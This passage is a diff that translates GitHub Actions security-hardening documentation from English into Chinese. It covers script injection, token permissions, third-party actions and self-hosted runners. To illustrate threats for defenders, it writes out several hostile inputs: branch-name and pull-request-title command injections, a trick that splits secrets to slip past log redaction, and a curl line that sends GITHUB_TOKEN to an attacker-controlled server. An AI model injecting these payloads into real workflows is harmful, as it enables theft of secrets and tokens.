all secrets configured in your repository. Therefore, you should ensure that the credentials being used within workflows have the least privileges required. +警告:对存储库具有写入访问权限的任何用户都有权读取存储库中配置的所有机密。 因此,应确保工作流中使用的凭据具有所需的最低权限。 {% endwarning %} -## Using `CODEOWNERS` to monitor changes +## 使用 `CODEOWNERS` 监视更改 -You can use the `CODEOWNERS` feature to control how changes are made to your workflow files. For example, if all your workflow files are stored in `.github/workflows`, you can add this directory to the code owners list, so that any proposed changes to these files will first require approval from a designated reviewer. +可以使用 `CODEOWNERS` 功能来控制更改工作流文件的方式。 例如,如果所有的工作流文件都存储在 `.github/workflows` 中,可以将此目录添加到代码所有者列表,这样对这些文件的任何拟议更改都首先需要得到指定的审查者的批准。 -For more information, see "[About code owners](/github/creating-cloning-and-archiving-repositories/about-code-owners)." +有关详细信息,请参阅“[关于代码所有者](/github/creating-cloning-and-archiving-repositories/about-code-owners)”。 -## Understanding the risk of script injections +## 了解脚本注入的风险 -When creating workflows, [custom actions](/actions/creating-actions/about-actions), and [composite actions](/actions/creating-actions/creating-a-composite-action) actions, you should always consider whether your code might execute untrusted input from attackers. This can occur when an attacker adds malicious commands and scripts to a context. When your workflow runs, those strings might be interpreted as code which is then executed on the runner. +创建工作流、[自定义操作](/actions/creating-actions/about-actions)和[复合操作](/actions/creating-actions/creating-a-composite-action)操作时,应始终考虑代码是否可能执行来自攻击者的不受信任的输入。 当攻击者将恶意命令和脚本添加到上下文时可能发生这种情况。 当您的工作流程运行时,这些字符串可能会被解释为代码,然后在运行器上执行。 - Attackers can add their own malicious content to the [`github` context](/actions/reference/context-and-expression-syntax-for-github-actions#github-context), which should be treated as potentially untrusted input. These contexts typically end with `body`, `default_branch`, `email`, `head_ref`, `label`, `message`, `name`, `page_name`,`ref`, and `title`. For example: `github.event.issue.title`, or `github.event.pull_request.body`. + 攻击者可以将其自己的恶意内容添加到 [`github` 上下文](/actions/reference/context-and-expression-syntax-for-github-actions#github-context)中,这应被视为潜在的不受信任的输入。 这些上下文通常以 `body`、`default_branch`、`email`、`head_ref`、`label`、`message`、`name`、`page_name`、`ref` 和 `title` 结尾。 例如:`github.event.issue.title` 或 `github.event.pull_request.body`。 - You should ensure that these values do not flow directly into workflows, actions, API calls, or anywhere else where they could be interpreted as executable code. By adopting the same defensive programming posture you would use for any other privileged application code, you can help security harden your use of {% data variables.product.prodname_actions %}. For information on some of the steps an attacker could take, see ["Potential impact of a compromised runner](/actions/learn-github-actions/security-hardening-for-github-actions#potential-impact-of-a-compromised-runner)." + 您应该确保这些值不会直接流入工作流程、操作、API 调用,或任何可能被解释为可执行代码的其它地方。 通过采用您将用于任何其他特权应用程序代码的相同防御编程姿态,,您可以帮助安全保护 {% data variables.product.prodname_actions %} 的使用。 有关攻击者可能采取的某些步骤的信息,请参阅“[受损运行器的潜在影响](/actions/learn-github-actions/security-hardening-for-github-actions#potential-impact-of-a-compromised-runner)”。 -In addition, there are other less obvious sources of potentially untrusted input, such as branch names and email addresses, which can be quite flexible in terms of their permitted content. For example, `zzz";echo${IFS}"hello";#` would be a valid branch name and would be a possible attack vector for a target repository. +此外,还有其他不太明显的潜在不信任输入来源,如分支名称和电子邮件地址,这些输入在允许的内容方面可能相当灵活。 例如,`zzz";echo${IFS}"hello";#` 将是一个有效的分支名称,并将成为目标存储库可能的攻击途径。 -The following sections explain how you can help mitigate the risk of script injection. +以下部分解释了如何帮助降低脚本注入的风险。 -### Example of a script injection attack +### 脚本注入攻击示例 -A script injection attack can occur directly within a workflow's inline script. In the following example, an action uses an expression to test the validity of a pull request title, but also adds the risk of script injection: +脚本注入攻击可直接发生在工作流程的内联脚本中。 在下列示例中,操作使用表达式来测试拉取请求标题的有效性,但也增加了脚本注入的风险: {% raw %} ``` @@ -91,23 +95,23 @@ A script injection attack can occur directly within a workflow's inline script. ``` {% endraw %} -This example is vulnerable to script injection because the `run` command executes within a temporary shell script on the runner. Before the shell script is run, the expressions inside {% raw %}`${{ }}`{% endraw %} are evaluated and then substituted with the resulting values, which can make it vulnerable to shell command injection. +此示例易受脚本注入的影响,因为 `run` 命令在运行器的临时 shell 脚本中执行。 在 shell 脚本运行之前,{% raw %}`${{ }}`{% endraw %} 内的表达式被评估后替换为结果值,这使它易受 shell 命令注入的攻击。 -To inject commands into this workflow, the attacker could create a pull request with a title of `a"; ls $GITHUB_WORKSPACE"`: +要将命令注入此工作流,攻击者可以创建标题为 `a"; ls $GITHUB_WORKSPACE"` 的拉取请求: -![Example of script injection in PR title](/assets/images/help/images/example-script-injection-pr-title.png) +![PR 标题中的脚本注入示例](/assets/images/help/images/example-script-injection-pr-title.png) -In this example, the `"` character is used to interrupt the {% raw %}`title="${{ github.event.pull_request.title }}"`{% endraw %} statement, allowing the `ls` command to be executed on the runner. You can see the output of the `ls` command in the log: +在此示例中,`"` 字符用于中断 {% raw %}`title="${{ github.event.pull_request.title }}"`{% endraw %} 语句,允许在运行器上执行 `ls` 命令。 可以在日志中看到 `ls` 命令的输出: -![Example result of script injection](/assets/images/help/images/example-script-injection-result.png) +![脚本注入示例结果](/assets/images/help/images/example-script-injection-result.png) -## Good practices for mitigating script injection attacks +## 减少脚本注入攻击的良好做法 -There are a number of different approaches available to help you mitigate the risk of script injection: +有许多不同的方法可以帮助您降低脚本注入的风险: -### Using an action instead of an inline script (recommended) +### 使用操作而不是内联脚本(建议) -The recommended approach is to create an action that processes the context value as an argument. This approach is not vulnerable to the injection attack, as the context value is not used to generate a shell script, but is instead passed to the action as an argument: +建议的方法是创建一个操作,将上下文值作为参数处理。 此方法不易受到注入攻击,因为上下文值不用于生成 shell 脚本,而是作为参数传递给该操作: {% raw %} ``` @@ -117,11 +121,11 @@ with: ``` {% endraw %} -### Using an intermediate environment variable +### 使用中间环境变量 -For inline scripts, the preferred approach to handling untrusted input is to set the value of the expression to an intermediate environment variable. +对于内联脚本,处理不信任输入的首选方法是将表达式的值设置为中间环境变量。 -The following example uses Bash to process the `github.event.pull_request.title` value as an environment variable: +以下示例使用 Bash 将 `github.event.pull_request.title` 值处理为环境变量: {% raw %} ``` @@ -139,95 +143,94 @@ The following example uses Bash to process the `github.event.pull_request.title` ``` {% endraw %} -In this example, the attempted script injection is unsuccessful: +在此示例中,尝试的脚本注入失败: -![Example of mitigated script injection](/assets/images/help/images/example-script-injection-mitigated.png) +![缓减脚本注入示例](/assets/images/help/images/example-script-injection-mitigated.png) -With this approach, the value of the {% raw %}`${{ github.event.issue.title }}`{% endraw %} expression is stored in memory and used as a variable, and doesn't interact with the script generation process. In addition, consider using double quote shell variables to avoid [word splitting](https://github.com/koalaman/shellcheck/wiki/SC2086), but this is [one of many](https://mywiki.wooledge.org/BashPitfalls) general recommendations for writing shell scripts, and is not specific to {% data variables.product.prodname_actions %}. +使用此方法,{% raw %}`${{ github.event.issue.title }}`{% endraw %} 表达式的值存储在内存中用作变量,并且不与脚本生成过程交互。 此外,考虑使用双引号 shell 变量来避免[单词拆分](https://github.com/koalaman/shellcheck/wiki/SC2086),但这是写入 shell 脚本的[众多一般建议之一](https://mywiki.wooledge.org/BashPitfalls),并且不是专门针对 {% data variables.product.prodname_actions %} 的。 {% ifversion fpt or ghec %} -### Using starter workflows for code scanning +### 使用入门工作流程进行代码扫描 -{% data reusables.advanced-security.starter-workflows-beta %} -{% data variables.product.prodname_code_scanning_capc %} allows you to find security vulnerabilities before they reach production. {% data variables.product.product_name %} provides starter workflows for {% data variables.product.prodname_code_scanning %}. You can use these suggested workflows to construct your {% data variables.product.prodname_code_scanning %} workflows, instead of starting from scratch. {% data variables.product.company_short%}'s workflow, the {% data variables.code-scanning.codeql_workflow %}, is powered by {% data variables.product.prodname_codeql %}. There are also third-party starter workflows available. +{% data reusables.advanced-security.starter-workflows-beta %} {% data variables.product.prodname_code_scanning_capc %} 可让你在安全漏洞到达生产环境之前被发现。 {% data variables.product.product_name %} 为 {% data variables.product.prodname_code_scanning %} 提供了入门工作流程。 您可以使用这些建议的工作流程来构建 {% data variables.product.prodname_code_scanning %} 工作流程,而不是从头开始。 {% data variables.product.company_short%} 的工作流程 {% data variables.product.prodname_codeql_workflow %} 由 {% data variables.product.prodname_codeql %} 提供支持。 还有第三方入门工作流程可用。 -For more information, see "[About {% data variables.product.prodname_code_scanning %}](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning)" and "[Setting up {% data variables.product.prodname_code_scanning %} using starter workflows](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/setting-up-code-scanning-for-a-repository#setting-up-code-scanning-using-starter-workflows)." +有关详细信息,请参阅“[关于 {% data variables.product.prodname_code_scanning %}](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning)”和“[使用入门工作流设置 {% data variables.product.prodname_code_scanning %}](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/setting-up-code-scanning-for-a-repository#setting-up-code-scanning-using-starter-workflows)”。 {% endif %} -### Restricting permissions for tokens +### 限制令牌权限 -To help mitigate the risk of an exposed token, consider restricting the assigned permissions. For more information, see "[Modifying the permissions for the GITHUB_TOKEN](/actions/reference/authentication-in-a-workflow#modifying-the-permissions-for-the-github_token)." +为了帮助降低暴露令牌的风险,请考虑限制分配的权限。 有关详细信息,请参阅“[修改 GITHUB_TOKEN 的权限](/actions/reference/authentication-in-a-workflow#modifying-the-permissions-for-the-github_token)”。 {% ifversion fpt or ghec or ghes > 3.4 %} -## Using OpenID Connect to access cloud resources +## 使用 OpenID Connect 访问云资源 {% data reusables.actions.about-oidc-short-overview %} {% endif %} -## Using third-party actions +## 使用第三方操作 -The individual jobs in a workflow can interact with (and compromise) other jobs. For example, a job querying the environment variables used by a later job, writing files to a shared directory that a later job processes, or even more directly by interacting with the Docker socket and inspecting other running containers and executing commands in them. +工作流程中的个别作业可以与其他作业相互作用(和妥协)。 例如,查询以后作业使用的环境变量,将文件写入以后作业处理的共享目录,或者更直接地与 Docker 套接字接交互,以及检查其他正在运行的容器并执行其中的命令。 -This means that a compromise of a single action within a workflow can be very significant, as that compromised action would have access to all secrets configured on your repository, and may be able to use the `GITHUB_TOKEN` to write to the repository. Consequently, there is significant risk in sourcing actions from third-party repositories on {% data variables.product.prodname_dotcom %}. For information on some of the steps an attacker could take, see ["Potential impact of a compromised runner](/actions/learn-github-actions/security-hardening-for-github-actions#potential-impact-of-a-compromised-runner)." +这意味着工作流中单一操作的泄露可能很严重,因为这个泄露的操作可以访问存储库中配置的所有机密,并且可以使用 `GITHUB_TOKEN` 写入存储库。 因此,从 {% data variables.product.prodname_dotcom %} 上的第三方仓库获取操作的风险很大。 有关攻击者可能采取的某些步骤的信息,请参阅“[受损运行器的潜在影响](/actions/learn-github-actions/security-hardening-for-github-actions#potential-impact-of-a-compromised-runner)”。 -You can help mitigate this risk by following these good practices: +您可以遵循以下良好做法来帮助降低此风险: -* **Pin actions to a full length commit SHA** +* 将操作固定到全长提交 SHA - Pinning an action to a full length commit SHA is currently the only way to use an action as an immutable release. Pinning to a particular SHA helps mitigate the risk of a bad actor adding a backdoor to the action's repository, as they would need to generate a SHA-1 collision for a valid Git object payload. + 将操作固定到全长提交 SHA 是当前将操作用作不可变版本的唯一方法。 固定到特定 SHA 有助于降低恶意执行者向操作仓库添加后门的风险,因为他们需要为有效的 Git 对象负载生成 SHA-1 冲突。 -* **Audit the source code of the action** +* 审核操作的源代码 - Ensure that the action is handling the content of your repository and secrets as expected. For example, check that secrets are not sent to unintended hosts, or are not inadvertently logged. + 确保操作按照预期处理仓库和密码的内容。 例如,确认密码未发送到非预期主机,或者没有被无意中记录。 -* **Pin actions to a tag only if you trust the creator** +* 仅当信任创建者时,才将操作固定到标记 - Although pinning to a commit SHA is the most secure option, specifying a tag is more convenient and is widely used. If you’d like to specify a tag, then be sure that you trust the action's creators. The ‘Verified creator’ badge on {% data variables.product.prodname_marketplace %} is a useful signal, as it indicates that the action was written by a team whose identity has been verified by {% data variables.product.prodname_dotcom %}. Note that there is risk to this approach even if you trust the author, because a tag can be moved or deleted if a bad actor gains access to the repository storing the action. + 尽管固定到提交 SHA 是最安全的选项,但指定标记更方便,而且被广泛使用。 如果要指定标记,请确保信任该操作的创建者。 {% data variables.product.prodname_marketplace %} 上的“已验证创建者”徽章是一个有用的信号,因为它表示该操作是由其身份已被 {% data variables.product.prodname_dotcom %} 验证的团队编写的。 请注意,即使您信任作者,这种方法也存在风险,因为如果恶意执行者获得对存储操作的仓库的访问权限,便可移动或删除标记。 {% ifversion fpt or ghes > 3.3 or ghae > 3.3 or ghec %} -## Reusing third-party workflows +## 重新使用第三方工作流程 -The same principles described above for using third-party actions also apply to using third-party workflows. You can help mitigate the risks associated with reusing workflows by following the same good practices outlined above. For more information, see "[Reusing workflows](/actions/learn-github-actions/reusing-workflows)." +上述使用第三方操作的相同原则也适用于使用第三方工作流程。 通过遵循上述相同的良好做法,您可以帮助降低与重用工作流程相关的风险。 有关详细信息,请参阅“[重用工作流](/actions/learn-github-actions/reusing-workflows)”。 {% endif %} {% ifversion internal-actions %} -## Allowing workflows to access internal repositories +## 允许工作流程访问内部存储库 -{% data reusables.actions.outside-collaborators-internal-actions %} For more information, see "[Sharing actions and workflows with your enterprise](/actions/creating-actions/sharing-actions-and-workflows-with-your-enterprise)." +{% data reusables.actions.outside-collaborators-internal-actions %} 有关详细信息,请参阅“[与企业共享操作和工作流](/actions/creating-actions/sharing-actions-and-workflows-with-your-enterprise)”。 {% endif %} {% ifversion allow-actions-to-approve-pr %} -## Preventing {% data variables.product.prodname_actions %} from {% ifversion allow-actions-to-approve-pr-with-ent-repo %}creating or {% endif %}approving pull requests +## 防止 {% data variables.product.prodname_actions %} {% ifversion allow-actions-to-approve-pr-with-ent-repo %}创建或{% endif %}审批拉取请求 -{% data reusables.actions.workflow-pr-approval-permissions-intro %} Allowing workflows, or any other automation, to {% ifversion allow-actions-to-approve-pr-with-ent-repo %}create or {% endif %}approve pull requests could be a security risk if the pull request is merged without proper oversight. +{% data reusables.actions.workflow-pr-approval-permissions-intro %} 如果在没有适当监督的情况下合并拉取请求,则允许工作流或任何其他自动化{% ifversion allow-actions-to-approve-pr-with-ent-repo %}创建或{% endif %}审批拉取请求可能会带来安全风险。 -For more information on how to configure this setting, see {% ifversion allow-actions-to-approve-pr-with-ent-repo %}{% ifversion ghes or ghec or ghae %}"[Enforcing policies for {% data variables.product.prodname_actions %} in your enterprise](/enterprise-cloud@latest/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-actions-in-your-enterprise#preventing-github-actions-from-creating-or-approving-pull-requests)",{% endif %}{% endif %} "[Disabling or limiting {% data variables.product.prodname_actions %} for your organization](/github/setting-up-and-managing-organizations-and-teams/disabling-or-limiting-github-actions-for-your-organization#preventing-github-actions-from-{% ifversion allow-actions-to-approve-pr-with-ent-repo %}creating-or-{% endif %}approving-pull-requests)"{% ifversion allow-actions-to-approve-pr-with-ent-repo %}, and "[Managing {% data variables.product.prodname_actions %} settings for a repository](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository#preventing-github-actions-from-creating-or-approving-pull-requests)"{% endif %}. +有关如何配置此设置的详细信息,请参阅{% ifversion allow-actions-to-approve-pr-with-ent-repo %}{% ifversion ghes or ghec or ghae %}“[在企业中强制实施 {% data variables.product.prodname_actions %} 策略](/enterprise-cloud@latest/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-actions-in-your-enterprise#preventing-github-actions-from-creating-or-approving-pull-requests)”、{% endif %}{% endif %}“[为组织禁用或限制 {% data variables.product.prodname_actions %}](/github/setting-up-and-managing-organizations-and-teams/disabling-or-limiting-github-actions-for-your-organization#preventing-github-actions-from-{% ifversion allow-actions-to-approve-pr-with-ent-repo %}creating-or-{% endif %}approving-pull-requests)”{% ifversion allow-actions-to-approve-pr-with-ent-repo %}和“[管理存储库的 {% data variables.product.prodname_actions %} 设置](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository#preventing-github-actions-from-creating-or-approving-pull-requests)”{% endif %}。 {% endif %} -## Using OpenSSF Scorecards to secure workflows +## 使用 OpenSSF 记分卡保护工作流程 -[Scorecards](https://github.com/ossf/scorecard) is an automated security tool that flags risky supply chain practices. You can use the [Scorecards action](https://github.com/marketplace/actions/ossf-scorecard-action) and [starter workflow](https://github.com/actions/starter-workflows) to follow best security practices. Once configured, the Scorecards action runs automatically on repository changes, and alerts developers about risky supply chain practices using the built-in code scanning experience. The Scorecards project runs a number of checks, including script injection attacks, token permissions, and pinned actions. +[记分卡](https://github.com/ossf/scorecard)是一种自动化安全工具,可标记有风险的供应链做法。 可以使用[记分卡操作](https://github.com/marketplace/actions/ossf-scorecard-action)和[入门工作流](https://github.com/actions/starter-workflows)来遵循最佳安全做法。 配置完成后,记分卡操作将根据存储库更改自动运行,并使用内置的代码扫描体验提醒开发人员有关有风险的供应链做法。 记分卡项目运行许多检查,包括脚本注入攻击、令牌权限和固定操作。 -## Potential impact of a compromised runner +## 受损运行器的潜在影响 -These sections consider some of the steps an attacker can take if they're able to run malicious commands on a {% data variables.product.prodname_actions %} runner. +这些部分考虑了当攻击者能够对 {% data variables.product.prodname_actions %} 运行器运行恶意命令时可以采取的一些步骤。 {% note %} -**Note:** {% data variables.product.prodname_dotcom %}-hosted runners do not scan for malicious code downloaded by a user during their job, such as a compromised third party library. +注意:{% data variables.product.prodname_dotcom %} 托管的运行器不会扫描用户在其作业期间下载的恶意代码,例如遭到入侵的第三方库。 {% endnote %} -### Accessing secrets +### 访问密钥 -Workflows triggered using the `pull_request` event have read-only permissions and have no access to secrets. However, these permissions differ for various event triggers such as `issue_comment`, `issues` and `push`, where the attacker could attempt to steal repository secrets or use the write permission of the job's [`GITHUB_TOKEN`](/actions/reference/authentication-in-a-workflow#permissions-for-the-github_token). +使用 `pull_request` 事件触发的工作流具有只读权限,不能访问机密。 但是,这些权限因各种事件触发因素(如 `issue_comment`、`issues` 和 `push`)而有所不同,攻击者可能试图窃取存储库机密或使用作业的 [`GITHUB_TOKEN`](/actions/reference/authentication-in-a-workflow#permissions-for-the-github_token) 的写入权限。 -- If the secret or token is set to an environment variable, it can be directly accessed through the environment using `printenv`. -- If the secret is used directly in an expression, the generated shell script is stored on-disk and is accessible. -- For a custom action, the risk can vary depending on how a program is using the secret it obtained from the argument: +- 如果机密或令牌设置为环境变量,可以使用 `printenv` 通过环境直接进行访问。 +- 如果在表达式中直接使用密钥,生成的 shell 脚本将存储在磁盘上,并且可以访问。 +- 对于自定义操作,风险可能因程序如何使用从参数中获取的密钥而异: {% raw %} ``` @@ -237,154 +240,151 @@ Workflows triggered using the `pull_request` event have read-only permissions an ``` {% endraw %} -Although {% data variables.product.prodname_actions %} scrubs secrets from memory that are not referenced in the workflow (or an included action), the `GITHUB_TOKEN` and any referenced secrets can be harvested by a determined attacker. +虽然 {% data variables.product.prodname_actions %} 会从工作流(或包含的操作)中未引用的内存中清除机密,但 `GITHUB_TOKEN` 和任何引用的机密均可被顽强的攻击者获取。 -### Exfiltrating data from a runner +### 泄露运行器中的数据 -An attacker can exfiltrate any stolen secrets or other data from the runner. To help prevent accidental secret disclosure, {% data variables.product.prodname_actions %} [automatically redact secrets printed to the log](/actions/reference/encrypted-secrets#accessing-your-secrets), but this is not a true security boundary because secrets can be intentionally sent to the log. For example, obfuscated secrets can be exfiltrated using `echo ${SOME_SECRET:0:4}; echo ${SOME_SECRET:4:200};`. In addition, since the attacker may run arbitrary commands, they could use HTTP requests to send secrets or other repository data to an external server. +攻击者可以从运行器泄露任何被盗的密钥或其他数据。 为了帮助防止意外的机密泄露,{% data variables.product.prodname_actions %} [自动编辑打印到日志的机密](/actions/reference/encrypted-secrets#accessing-your-secrets),但这不是一个真正的安全边界,因为可以有意图地将机密发送到日志。 例如,可使用 `echo ${SOME_SECRET:0:4}; echo ${SOME_SECRET:4:200};` 来泄露经过模糊处理的机密。 此外,由于攻击者可能运行任意命令,他们可以使用 HTTP 请求将机密或其他仓库数据发送到外部服务器。 -### Stealing the job's `GITHUB_TOKEN` +### 窃取作业的 `GITHUB_TOKEN` -It is possible for an attacker to steal a job's `GITHUB_TOKEN`. The {% data variables.product.prodname_actions %} runner automatically receives a generated `GITHUB_TOKEN` with permissions that are limited to just the repository that contains the workflow, and the token expires after the job has completed. Once expired, the token is no longer useful to an attacker. To work around this limitation, they can automate the attack and perform it in fractions of a second by calling an attacker-controlled server with the token, for example: `a"; set +e; curl http://example.com?token=$GITHUB_TOKEN;#`. +攻击者有可能窃取作业的 `GITHUB_TOKEN`。 {% data variables.product.prodname_actions %} 运行器自动接收生成的 `GITHUB_TOKEN`,权限仅限于包含工作流的存储库,令牌在作业完成后过期。 一旦过期,令牌对攻击者不再有用。 为解决此限制,他们可以通过调用带有令牌的攻击者控制的服务器(例如:`a"; set +e; curl http://example.com?token=$GITHUB_TOKEN;#`)来自动执行攻击并在几分之一秒内完成攻击。 -### Modifying the contents of a repository +### 修改仓库的内容 -The attacker server can use the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API to [modify repository content](/actions/reference/authentication-in-a-workflow#permissions-for-the-github_token), including releases, if the assigned permissions of `GITHUB_TOKEN` [are not restricted](/actions/reference/authentication-in-a-workflow#modifying-the-permissions-for-the-github_token). +如果 `GITHUB_TOKEN` 分配的权限[不受限制](/actions/reference/authentication-in-a-workflow#modifying-the-permissions-for-the-github_token),则攻击者服务器可以使用 {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API [修改存储库内容](/actions/reference/authentication-in-a-workflow#permissions-for-the-github_token)(包括版本)。 -## Considering cross-repository access +## 考虑跨仓库访问 -{% data variables.product.prodname_actions %} is intentionally scoped for a single repository at a time. The `GITHUB_TOKEN` grants the same level of access as a write-access user, because any write-access user can access this token by creating or modifying a workflow file, elevating the permissions of the `GITHUB_TOKEN` if necessary. Users have specific permissions for each repository, so allowing the `GITHUB_TOKEN` for one repository to grant access to another would impact the {% data variables.product.prodname_dotcom %} permission model if not implemented carefully. Similarly, caution must be taken when adding {% data variables.product.prodname_dotcom %} authentication tokens to a workflow, because this can also affect the {% data variables.product.prodname_dotcom %} permission model by inadvertently granting broad access to collaborators. +{% data variables.product.prodname_actions %} 的范围有意设为每次一个仓库。 `GITHUB_TOKEN` 授予与写入访问用户相同的访问权限,因为任何写入访问用户都可以通过创建或修改工作流文件来访问此令牌,在必要时提升 `GITHUB_TOKEN` 的权限。 用户对每个存储库都有特定权限,因此,如果不谨慎实施,一个存储库的 `GITHUB_TOKEN` 授予对另一个存储库的访问权限将会影响 {% data variables.product.prodname_dotcom %} 权限模型。 同样,在向工作流程添加 {% data variables.product.prodname_dotcom %} 授权令牌时也必须谨慎,因为这也会因无意中向协作者授予一般权限而影响 {% data variables.product.prodname_dotcom %} 权限模型。 -We have [a plan on the {% data variables.product.prodname_dotcom %} roadmap](https://github.com/github/roadmap/issues/74) to support a flow that allows cross-repository access within {% data variables.product.product_name %}, but this is not yet a supported feature. Currently, the only way to perform privileged cross-repository interactions is to place a {% data variables.product.prodname_dotcom %} authentication token or SSH key as a secret within the workflow. Because many authentication token types do not allow for granular access to specific resources, there is significant risk in using the wrong token type, as it can grant much broader access than intended. +我们已[制定 {% data variables.product.prodname_dotcom %} 路线图](https://github.com/github/roadmap/issues/74),以支持允许在 {% data variables.product.product_name %} 内跨存储库访问的流,但这还不是一项受支持的功能。 目前,执行特权跨仓库交互的唯一方法就是将 {% data variables.product.prodname_dotcom %} 身份验证令牌或 SSH 密钥作为工作流程中的密码。 由于许多身份验证令牌类型不允许对特定资源进行细致的访问,因此使用错误的令牌类型存在很大风险,因为它可以授予比预期范围更广泛的访问。 -This list describes the recommended approaches for accessing repository data within a workflow, in descending order of preference: +此列表描述建议用于在工作流程中访问仓库数据的方法,按优先顺序降序排列: -1. **The `GITHUB_TOKEN`** - - This token is intentionally scoped to the single repository that invoked the workflow, and can have the same level of access as a write-access user on the repository. The token is created before each job begins and expires when the job is finished. For more information, see "[Authenticating with the GITHUB_TOKEN](/actions/configuring-and-managing-workflows/authenticating-with-the-github_token)." - - The `GITHUB_TOKEN` should be used whenever possible. -2. **Repository deploy key** - - Deploy keys are one of the only credential types that grant read or write access to a single repository, and can be used to interact with another repository within a workflow. For more information, see "[Managing deploy keys](/developers/overview/managing-deploy-keys#deploy-keys)." - - Note that deploy keys can only clone and push to the repository using Git, and cannot be used to interact with the REST or GraphQL API, so they may not be appropriate for your requirements. -3. **{% data variables.product.prodname_github_app %} tokens** - - {% data variables.product.prodname_github_apps %} can be installed on select repositories, and even have granular permissions on the resources within them. You could create a {% data variables.product.prodname_github_app %} internal to your organization, install it on the repositories you need access to within your workflow, and authenticate as the installation within your workflow to access those repositories. +1. 此 `GITHUB_TOKEN` + - 此令牌的范围有意设为调用工作流程的单个仓库,并且具有与仓库具有写入访问用户相同的访问级别。 令牌在每个作业开始之前创建,在作业完成时过期。 有关详细信息,请参阅“[使用 GITHUB_TOKEN 进行身份验证](/actions/configuring-and-managing-workflows/authenticating-with-the-github_token)。” + - 应尽可能使用 `GITHUB_TOKEN`。 +2. 存储库部署密钥 + - 部署密钥是唯一授予对单个存储库的读取或写入访问权限的凭据类型之一,可用于与工作流程中的另一个仓库进行交互。 有关详细信息,请参阅“[管理部署密钥](/developers/overview/managing-deploy-keys#deploy-keys)”。 + - 请注意,部署密钥只能使用 Git 克隆和推送到仓库,不能用于与 REST 或 GraphQL API 进行交互,因此它们可能不适合您的要求。 +3. {% data variables.product.prodname_github_app %} 令牌 + - {% data variables.product.prodname_github_apps %} 可以安装在选择的仓库上,甚至可以对其中的资源设置细致的访问权限。 您可以创建组织内部的 {% data variables.product.prodname_github_app %},将其安装在工作流程中您需要访问的仓库上,并在工作流程中验证为安装以访问这些仓库。 4. **{% data variables.product.pat_generic %}s** - - You should never use a {% data variables.product.pat_v1 %}. These tokens grant access to all repositories within the organizations that you have access to, as well as all personal repositories in your personal account. This indirectly grants broad access to all write-access users of the repository the workflow is in. - - If you do use a {% data variables.product.pat_generic %}, you should never use a {% data variables.product.pat_generic %} from your own account. If you later leave an organization, workflows using this token will immediately break, and debugging this issue can be challenging. Instead, you should use a {% ifversion pat-v2%}{% data variables.product.pat_v2 %}s{% else %}{% data variables.product.pat_generic %}s{% endif %} for a new account that belongs to your organization and that is only granted access to the specific repositories that are needed for the workflow. Note that this approach is not scalable and should be avoided in favor of alternatives, such as deploy keys. -5. **SSH keys on a personal account** - - Workflows should never use the SSH keys on a personal account. Similar to {% data variables.product.pat_v1_plural %}, they grant read/write permissions to all of your personal repositories as well as all the repositories you have access to through organization membership. This indirectly grants broad access to all write-access users of the repository the workflow is in. If you're intending to use an SSH key because you only need to perform repository clones or pushes, and do not need to interact with public APIs, then you should use individual deploy keys instead. + - 切勿使用{% data variables.product.pat_v1 %}。 这些令牌授予对有权访问的组织内的所有存储库以及个人帐户中的所有个人存储库的访问权限。 这间接地向所有能写入工作流程所在仓库的用户授予广泛访问权限。 + - 如果使用{% data variables.product.pat_generic %},则切勿通过自己的帐户使用{% data variables.product.pat_generic %}。 如果你之后离开组织,使用此令牌的工作流将立即中断,而且调试此问题可能具有挑战性。 你应该转而为属于你的组织的新帐户使用{% ifversion pat-v2%}{% data variables.product.pat_v2 %}s{% else %}{% data variables.product.pat_generic %}{% endif %},该令牌仅向工作流需要的特定存储库授予访问权限。 请注意,此方法不可扩展,应避免采用其他方法,例如部署密钥。 +5. **个人帐户上的 SSH 密钥** + - 工作流不应使用个人帐户上的 SSH 密钥。 与{% data variables.product.pat_v1_plural %}类似,它们授予对所有个人存储库及你通过组织成员资格访问的所有存储库的读/写权限。 这间接地向所有能写入工作流程所在仓库的用户授予广泛访问权限。 如果您打算使用 SSH 密钥,因为您只需要执行仓库克隆或推送,并且不需要与公共 API 交互,则应该使用单独的部署密钥。 -## Hardening for self-hosted runners +## 自托管运行器的强化 -{% ifversion fpt or ghec %} -**{% data variables.product.prodname_dotcom %}-hosted** runners execute code within ephemeral and clean isolated virtual machines, meaning there is no way to persistently compromise this environment, or otherwise gain access to more information than was placed in this environment during the bootstrap process. +{% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %} 托管的运行器在临时和干净的隔离虚拟机中执行代码,这意味着无法持续对此环境造成损害,否则将在启动过程中获取对于超出此环境信息的访问权限。 {% endif %} -{% ifversion fpt or ghec %}**Self-hosted**{% elsif ghes or ghae %}Self-hosted{% endif %} runners for {% data variables.product.product_name %} do not have guarantees around running in ephemeral clean virtual machines, and can be persistently compromised by untrusted code in a workflow. +{% ifversion fpt or ghec %}{% data variables.product.product_name %} 自托管的{% elsif ghes or ghae %}Self-hosted{% endif %}运行器不能保证在临时干净的虚拟机中运行,并且可能会持续受到工作流中不受信任的代码的损害。 -{% ifversion fpt or ghec %}As a result, self-hosted runners should almost [never be used for public repositories](/actions/hosting-your-own-runners/about-self-hosted-runners#self-hosted-runner-security) on {% data variables.product.product_name %}, because any user can open pull requests against the repository and compromise the environment. Similarly, be{% elsif ghes or ghae %}Be{% endif %} cautious when using self-hosted runners on private or internal repositories, as anyone who can fork the repository and open a pull request (generally those with read access to the repository) are able to compromise the self-hosted runner environment, including gaining access to secrets and the `GITHUB_TOKEN` which, depending on its settings, can grant write access to the repository. Although workflows can control access to environment secrets by using environments and required reviews, these workflows are not run in an isolated environment and are still susceptible to the same risks when run on a self-hosted runner. +{% ifversion fpt or ghec %}因此,自托管的运行器几乎[永远不能用于 {% data variables.product.product_name %} 